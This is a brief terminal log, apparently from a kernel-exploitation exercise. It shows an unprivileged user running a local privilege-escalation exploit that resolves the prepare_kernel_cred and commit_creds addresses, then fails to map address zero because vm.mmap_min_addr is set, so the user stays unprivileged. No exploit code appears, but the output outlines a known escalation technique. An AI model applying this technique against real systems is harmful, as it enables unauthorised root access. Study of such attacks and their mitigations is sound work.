vm.mmap_min_addr = 65535
./exploit 0xffffffff81f3f45a
/ # su tutu
/ $ ./exploit 0xffffffff81f3f45a
[+] Find prepare_kernel_cred...
[+] Found prepare_kernel_cred at ffffffff810753d0
[+] Find commit_creds...
[+] Found commit_creds at ffffffff81075050
[+] Try to allocat 0x00000000...
[-] Failed to allocat 0x00000000
/ $ id
uid=1001(tutu) gid=1001(tutu) groups=1001(tutu)
/ $
default kernels vm.mmap_min_addr = 65535
Ooops